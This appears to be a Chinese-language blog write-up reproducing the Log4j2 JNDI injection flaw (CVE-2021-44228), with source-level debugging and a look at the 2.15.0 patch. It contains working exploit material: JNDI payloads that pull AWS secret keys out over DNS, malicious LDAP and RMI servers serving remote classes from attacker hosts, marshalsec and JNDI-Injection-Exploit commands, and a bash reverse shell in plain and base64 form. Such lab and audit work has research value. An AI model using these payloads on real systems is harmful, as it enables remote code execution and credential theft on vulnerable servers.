log4j2 CVE-2021-44228

环境准备

漏洞版本2.0到2.14.1

用maven构建

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>log4j2-test</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

</dependencies>


</project>

Main.javas

1
2
3
4
5
6
7
8
9
10
11
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://wko5f7.dnslog.cn}");

}
}

测试

前置

log4j2的lookup查询

Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。

Log4j2 内置了多个 Lookup 实现,每个 Lookup 都有不同的用途和功能。以下是一些常见的 Lookup 类型:

1
2
3
4
5
6
7
8
${date}:获取当前日期和时间,支持自定义格式。
${pid}:获取当前进程的 ID。
${logLevel}:获取当前日志记录的级别。
${sys:propertyName}:获取系统属性的值,例如 ${sys:user.home} 获取用户主目录。
${env:variableName}:获取环境变量的值,例如 ${env:JAVA_HOME} 获取 Java 安装路径。
${ctx:key}:获取日志线程上下文(ThreadContext)中指定键的值。
${class:fullyQualifiedName:methodName}:获取指定类的静态方法的返回值。
${mdc:key}:获取 MDC (Mapped Diagnostic Context) 中指定键的值。

常用的信息收集查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
${hostName}
${sys:java.version} → 当前 Java 版本(如 17.0.1)
${sys:user.name} → 当前系统用户名
${sys:os.name} → 操作系统名称(如 Linux)
${sys:os.version}

${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
${env:PATH} → 系统 PATH 环境变量
${env:HOME} → 用户home目录路径

lookup的jndi解析器

JNDI(Java Naming and Directory Interface,Java 命名和目录接口) 是 Java 提供的一个 统一 API,用于访问各种命名和目录服务(如 LDAP、DNS、RMI、文件系统等)。它的核心作用是 通过名称(Name)查找资源(Object),类似于“电话号码簿”的概念。

jndi解析器语法

1
2
3
4
${jndi:协议://地址/资源路径}

支持的协议:
dns, ldap, ldaps, rmi ,iiop, iiopname,corbname,corba

比如${jndi:dns://zkbp6w.dnslog.cn}会发送dns请求

lookup支持嵌套查询如${jndi:dns://${sys:java.version}.zkbp6w.dnslog.cn}

可以通过这种方式dns外带一些信息

这个解析器也是log4j2的漏洞源头

ldap

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议) 是一种用于 访问和维护分布式目录服务 的协议。它类似于“网络电话簿”,专门用来高效查询和修改 层次化目录数据(如用户账号、组织架构、设备信息等)。

就类似一个电话簿,当请求查询,参数为一个名字时(假设是唯一的),就会返回该名字对应的电话号码。

比如jndi:ldap://localhost/test

jndi对ldap服务器请求查询test,服务器会有如下响应

1
2
3
4
5
dn: test    //唯一条目,类似数据库的主键
objectClass: javaNamingReference
javaClassName: Exploit
javaFactory: Exploit
javaCodeBase: http://attacker.com/

当Java程序接收到这个响应的时候,会从 **javaCodeBase** 指定的 **http://attacker.com/** 下载 **Exploit.class**然后就会实例化这个类并执行其构造方法。这就是通过jndi请求ldap的方式来RCE的原理。

RMI

RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种用于实现分布式程序的技术,允许一个 Java 虚拟机(JVM)上的对象调用另一个 JVM 上的对象方法,就像调用本地方法一样。

远程接口

1
2
3
4
5
6
7
8
// MyRemote.java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface MyRemote extends Remote {
String sayHello(String name) throws RemoteException;
int add(int a, int b) throws RemoteException;
}

远程接口实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// MyRemoteImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class MyRemoteImpl extends UnicastRemoteObject implements MyRemote {

// 必须提供构造函数并抛出 RemoteException
public MyRemoteImpl() throws RemoteException {
super(); // 调用 UnicastRemoteObject 的构造方法
}

@Override
public String sayHello(String name) throws RemoteException {
return "Hello, " + name + "! (from RMI Server)";
}

@Override
public int add(int a, int b) throws RemoteException {
return a + b;
}
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
public static void main(String[] args) {
try {
// 1. 创建远程对象实例
MyRemote service = new MyRemoteImpl();

// 2. 启动 RMI Registry(默认端口 1099)
Registry registry = LocateRegistry.createRegistry(1099);

// 3. 绑定远程对象到 Registry,客户端通过名称查找
registry.bind("MyRemoteService", service);

System.out.println("RMI Server is running...");
} catch (Exception e) {
e.printStackTrace();
}
}
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) {
try {
// 1. 获取 RMI Registry(连接到 Server 的 1099 端口)
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

// 2. 通过名称查找远程对象
MyRemote service = (MyRemote) registry.lookup("MyRemoteService");

// 3. 调用远程方法
String greeting = service.sayHello("Alice");
int result = service.add(5, 3);

System.out.println("Server says: " + greeting);
System.out.println("5 + 3 = " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
}

对于${jndi:rmi://attacker.com:1099/Exploit}

通过 JNDI 请求 **attacker.com:1099** 的 RMI 服务

1
2
3
4
5
6
7
8
9
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com:8000/");
ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", refWrapper);
System.out.println("RMI Server is ready...");
}
}

RMI 返回一个 **Reference** 对象,指向 **http://attacker.com:8000/Exploit.class**,jndi会动态加载**Reference** 并实例化,也就是Java程序加载该**Exploit.class**并执行其中的恶意代码实现rce


审计

下断点调试

一路f7,只关注我们传入的值到

\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class:400

这个循环,每循环一次buffer就会增加一些字符(这个其实就是输出的error),先是时间,然后是包路径,可以看到i=8前(也就是第8次循环结束后)的值为21:45:25.009 [main] ERROR org.example.Main -

根据ERROR的输出可以知道,接下来这次循环(i=8,第九次循环)22:17:09.853 [main] ERROR org.example.Main -后面处理的是我们输入的字符

D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class:100

1
2
3
4
5
6
7
8
9
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}

${开头的字符做一些处理继续跟进

D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class:418

f7可以看到resolveVariable方法调用了lookup

lookup方法在D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\Interpolator.class:148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
String name = var.substring(prefixPos + 1);
StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware)lookup).setConfiguration(this.configuration);
}

String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

if (value != null) {
return value;
}

var = var.substring(prefixPos + 1);
}

if (this.defaultLookup != null) {
return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var);
} else {
return null;
}
}
}

这个lookup会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\Interpolator.class:148的lookup并且会根据解析到不同的解析器进入到对应的lookup查询

而这个lookup又会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\MapLookup.class:68的lookup

而实际上解析${hostName}的是这个lookup

此时语句就会变成${jndi:dns://xxx.zkbp6w.dnslog.cn}

然后会继续D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class:100的循环,直到匹配到下一个${也就是解析器,这里就是处理嵌套查询的地方

然后会跟前面${hostName}一样再次处理${jndi:dns://xxx.zkbp6w.dnslog.cn},然后调用对应的lookup

当匹配到jndi的时候

会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\JndiLookup.class:30的lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.logging.log4j.core.lookup;

import java.util.Objects;
import javax.naming.NamingException;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.Marker;
import org.apache.logging.log4j.MarkerManager;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.plugins.Plugin;
import org.apache.logging.log4j.core.net.JndiManager;
import org.apache.logging.log4j.status.StatusLogger;

@Plugin(
name = "jndi",
category = "Lookup"
)
public class JndiLookup extends AbstractLookup {
private static final Logger LOGGER = StatusLogger.getLogger();
private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP");
static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";

public JndiLookup() {
}

public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
} else {
String jndiName = this.convertJndiName(key);

try {
JndiManager jndiManager = JndiManager.getDefaultManager();
Throwable var5 = null;

String var6;
try {
var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
} catch (Throwable var16) {
var5 = var16;
throw var16;
} finally {
if (jndiManager != null) {
if (var5 != null) {
try {
jndiManager.close();
} catch (Throwable var15) {
var5.addSuppressed(var15);
}
} else {
jndiManager.close();
}
}

}

return var6;
} catch (NamingException var18) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, var18);
return null;
}
}
}

private String convertJndiName(final String jndiName) {
return !jndiName.startsWith("java:comp/env/") && jndiName.indexOf(58) == -1 ? "java:comp/env/" + jndiName : jndiName;
}
}

这里就是触发jndi注入的地方

复现

RMI to rce

rmi的限制比较多

要远程加载类需要**com.sun.jndi.rmi.object.trustURLCodebase=true**

JDK 8u121+ 后,这个属性默认是 **false**

**JDK 9+**移除了 codebase 支持

下载jdk8u101

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

下面所有的编译/运行都要用jdk 8u101

恶意类Calc.java

1
2
3
4
5
6
7
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc.exe"); // Windows 弹计算器
} catch (Exception e) {}
}
}

javac .\Calc.java编译生成字节码

使用marshalsec搭建RMI服务器:

1
2
3
4
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
./java -cp ../marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.128:8000/#Calc" 1099

开启http.server

运行客户端jndi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;

public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 强制启用
System.setProperty("com.sun.jndi.rmi.trace", "true"); //日志
logger.error("${jndi:rmi://192.168.100.128:1099/Calc}");

}
}

LDAP to rce

./java -cp ../marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "[http://192.168.100.128:8000/#Calc"](http://192.168.100.128:8000/#Calc") 1389 启动ldap服务

开启http.server放恶意类

运行客户端jndi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;

public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 强制启用
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); // 强制启用
logger.error("${jndi:ldap://192.168.100.128:1389/Calc}");

}
}

一些工具

javachains

可以生成很多java的payload

https://github.com/vulhub/java-chains/

手册 https://java-chains.vulhub.org/docs/guide

用docker部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
docker run -d \
--name java-chains \
--restart=always \
-p 8011:8011 \
-p 58080:58080 \
-p 50389:50389 \
-p 50388:50388 \
-p 3308:3308 \
-p 13999:13999 \
-p 50000:50000 \
-p 11527:11527 \
-e CHAINS_AUTH=false \
-e CHAINS_PASS= \
javachains/javachains:1.4.1

登录页面:http://your-ip:8011

JNDI-Injection-Exploit

git clone [https://github.com/sayers522/JNDI-Injection-Exploit.git](https://github.com/sayers522/JNDI-Injection-Exploit.git)

mvn clean package -DskipTests

1
2
3
4
5
6
bash -i >& /dev/tcp/192.168.100.128/6666 0>&1  //反弹shell linux

https://ares-x.com/tools/runtime-exec

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

这里是windows,就弹计算器

1
2
../../jdk1.8.0_101/bin/java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'

修复

https://github.com/apache/logging-log4j2/compare/rel/2.14.1...rel/2.15.0

直接看diff2.14.0->2.15.0

src/site/xdoc/manual/lookups.xml增加了如下

1
2
3
4
5
6
7
<p>By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. Additional
protocols may be supported by specifying them on the <code>log4j2.allowedJndiProtocols</code> property.
When using LDAP Java classes that implement the Referenceable interface are not supported for security
reasons. Only the Java primative classes are supported by default as well as any classes specified by the
<code>log4j2.allowedLdapClasses</code> property. When using LDAP only references to the local host name
or ip address are supported along with any hosts or ip addresses listed in the
<code>log4j2.allowedLdapHosts</code> property.</p>

**log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java**

禁止除**java****ldap****ldaps**外的其他协议(如**rmi****dns**),防止攻击者利用其他协议触发RCE

img

增加了协议hostrefererclassname的校验并且Object_Factory不能加载远程ObjectFactory

img


log4j2 CVE-2021-44228
http://example.com/2025/04/25/log4j2 CVE-2021-44228/
作者
J_0k3r
发布于
2025年4月25日
许可协议
BY J_0K3R